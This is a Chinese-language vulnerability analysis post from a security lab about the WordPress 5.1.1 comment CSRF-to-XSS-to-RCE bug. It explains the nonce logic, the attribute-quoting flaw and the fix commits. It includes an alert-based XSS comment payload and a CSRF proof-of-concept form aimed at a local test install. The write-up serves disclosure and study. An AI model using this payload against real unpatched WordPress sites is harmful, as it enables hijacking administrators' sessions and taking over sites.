聊聊 WordPress 5.1.1 CSRF to RCE 漏洞
作者:LoRexxar'@知道创宇404实验室
时间:2019年3月14日
2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wordpress csrf to rce, https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
下面我们就来详细聊聊这个漏洞。
关于WordPress防护
早在2017年10月25号,我曾经写过一篇关于WordPress安全机制的文章。
https://lorexxar.cn/2017/10/25/wordpress/
在其中,我着重描述了WordPress整体安全机制中的最核心机制,nonce安全机制。
出于防御CSRF攻击的目的,WordOress引入了Nonce安全机制,Nonce是通过用户id、token、操作属性来计算的。简单来说就是,Nonce值受限于用户以及操作属性两点,不同用户同一个操作Nonce值不同,同一个用户不同操作Nonce值不同,同一个用户同一个操作不同站Nonce不同。
虽然是出于防御CSRF攻击的目的诞生,但却在WordPress薄弱的后台安全防御下,打上了最强的一节防御外壳。
在WordPress Core开发团队的认知中,任何一个WordPress的超级管理员,都应该保管好自己的网站以及账号安全,超级管理员也应该能对自己的网站以及服务器负责。
在这样的观点设计下,WordPress的超级管理员可以直接修改后台插件模板来getshell,超级管理员的评论不会有任何过滤。
所以在WordPress的防御体系下,如何绕过Nonce、如何获取超级管理员权限、如果在非超级管理员权限下做任何可以威胁网站安全操作,就是WordPress安全漏洞的主要方向。
关于 CSRF to RCE 漏洞
在我们熟悉了WordPress的安全机制之后,我们再回到这个漏洞来。
作者提到,在WordPress的评论处有一个比较神奇的机制。刚才提到,对于WP的超级管理员来说,文章的评论不会有任何过滤,但仍旧有Nonce值_wp_unfiltered_html_comment
,而WordPress其中有一些特殊的功能例如trackbacks and pingbacks会受到该值的影响,所以在评论处,Nonce不会直接阻止请求,而是另外生成了一套逻辑来做处理
/wp-includes/comment.php line 3245
1 2 3 4 5 6 7 |
if ( current_user_can( 'unfiltered_html' ) ) { if ( wp_create_nonce( 'unfiltered-html-comment' )!=$_POST['_wp_unfiltered_html_comment'] ) { kses_remove_filters(); // start with a clean slate kses_init_filters(); // set up the filters } } |
继续跟下去,我们简单的把逻辑写成伪代码
1 2 3 4 5 |
if 有权限: if nonce正确: wp_filter_post_kses() else: wp_filter_kses() |
而其中的区别就是,wp_filter_post_kses
不会做任何过滤,会保留请求的完整评论,而wp_filter_kses
将只允许白名单的标签存在,就比如a
标签等。
而问题的核心就在于,如何在wp_filter_kses
的白名单中找到一个可以导致xss的输入点。这个点就在a
标签的rel
属性处理中。
在/wp-includes/formatting.php line 3025
这里对整个标签全部做了一次处理,而没有额外的转义,再加上这里是通过拼接双引号符号来完成,那么如果我们构造一个评论为
1 |
<a title='aa " onmouseover=alert() id=" ' rel='111'>please click me |
原链接中的属性会被取出,然后被双引号包裹,就成了
1 |
<a title="aa " onmouseover=alert() id=" " rel='111'>please click me |
恶意链接就构造成功了,当管理员鼠标放在这条评论上时,则可以执行任意JS。
最后就是在执行任意JS之后,我们可以通过JS直接修改后台的模板,来实现管理员权限下的恶意操作,在我曾经写过的文章《从瑞士军刀到变形金刚--XSS攻击面拓展》中,我就曾经以WordPress为例子来举了多个从XSS到进一步恶意操作的利用方式。
https://lorexxar.cn/2017/08/23/xss-tuo/#Xss-to-Rce
我们仔细回顾一下整个漏洞,攻击者需要诱骗超级管理员点击他的恶意链接,然后需要手动把鼠标放置到评论上,甚至还需要保留该页面一段时间,整个攻击才有可能成功。
不难发现,如果我们把漏洞放在WordPress Core树立的安全标准下来说,该漏洞实际能算作是漏洞的部分只有一个,就是绕过Nonce机制实现的一个WordPress XSS漏洞。当我们抛开这个关键点之后,我们不难发现,这个漏洞看上次利用条件还不错,但实际上,在WordPress的安全机制中,插件安全一直是最严重的问题,一旦WordPress的高量级插件爆了一个后台的反射性XSS漏洞,利用难度反而甚至比这个漏洞更低,不是吗?
漏洞要求
- WordPress commit < 2504efcf9439c1961c4108057e8f3f48239a244b(5.2-alpha-44833)
- 超级管理员点击恶意链接。
漏洞复现
搭建完成后使用admin账号登陆
然后构造恶意页面
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<span class="nt"><html></span> <span class="c"><!-- CSRF PoC - generated by Burp Suite Professional --></span> <span class="nt"><body></span> <span class="nt"><form</span> <span class="na">action=</span><span class="s">"http://127.0.0.1/wordpress/wp-comments-post.php"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">></span> <span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"comment"</span> <span class="na">value=</span><span class="s">"&lt;a title=&apos;aa &quot; onmouseover=alert() id=&quot; &apos; rel=&apos;111&apos;&gt;please click me"</span> <span class="nt">/></span> <span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA /></span> <span class="s"> <input type="</span><span class="err">hidden"</span> <span class="na">name=</span><span class="s">"comment_post_ID"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="nt">/></span> <span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"comment_parent"</span> <span class="na">value=</span><span class="s">"0"</span> <span class="nt">/></span> <span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"_wp_unfiltered_html_comment"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="nt">/></span> <span class="nt"><input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Submit request"</span> <span class="nt">/></span> <span class="nt"></form></span> <span class="nt"></body></span> <span class="nt"></html></span> |
使用登陆过超级管理员的浏览器点开该页面,然后就会提交评论,当鼠标移动到评论上是,则会执行相应的js
从漏洞补丁看漏洞分析
刚才我们说到了一个关键点,整个漏洞实际上可以看作是一个绕过Nonce机制实现的一个WordPress XSS漏洞。
这里我们从漏洞补丁出发,重新分析下这个漏洞的几个关键点。这个漏洞到目前为止,一共有2个commit用来修复。
- https://github.com/WordPress/WordPress/commit/2504efcf9439c1961c4108057e8f3f48239a244b#diff-e7c589fb0969e0f690bf2f051517d0ad
- https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b#diff-91531896c6f70c8a4b4b321d1369c988
第一个commit首先是修复了那个不该有的xss漏洞
esc_attr
是WordPress内置的过滤函数,专用来处理属性处的可能出现xss的位置。
第二个commit就比较有趣了,在我看来这个commit更像是一个半成品,可能是由于修复比较匆忙,先把修复的patch更新了再说的感觉。
这个commit我们需要跟进到函数wp_filter_kses
才看得懂,我们跟着这个函数一路跟下去,一直到/wp-includes/kses.php line 1039
这里的pre_comment_content
大概像是请求的类型,要到wp_kses_allowed_html
去获取允许的标签以及属性列表。
/wp-includes/kses.php line 829
由于还没有针对性的设置,所以在现在的版本中,如果没有设置nonce,享受的是和其他用户相同的评论过滤,也就从另一个角度修复了这个漏洞:>
写在最后
当我们一起分析完整个漏洞之后呢,不难发现RIPS为了pr不惜吹了个大牛,其实当我们把整个漏洞重新压缩之后,我们发现其实漏洞就相当于其他CMS爆了一个存储型XSS漏洞一样,之所以会有这样的利用链,反而是因为WordPress对其本身错误的安全认知导致的。
在WordPress的安全认知中,Nonce机制的确是一个效果非常好的安全机制,但从一个安全从业者的观点来说,WordPress的超级管理员应不应该等同于服务器管理员仍然是一个需要考虑的问题,在安全的世界里来说,给每个用户他们应有的权限才是最安全的做法,不是吗?
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/854/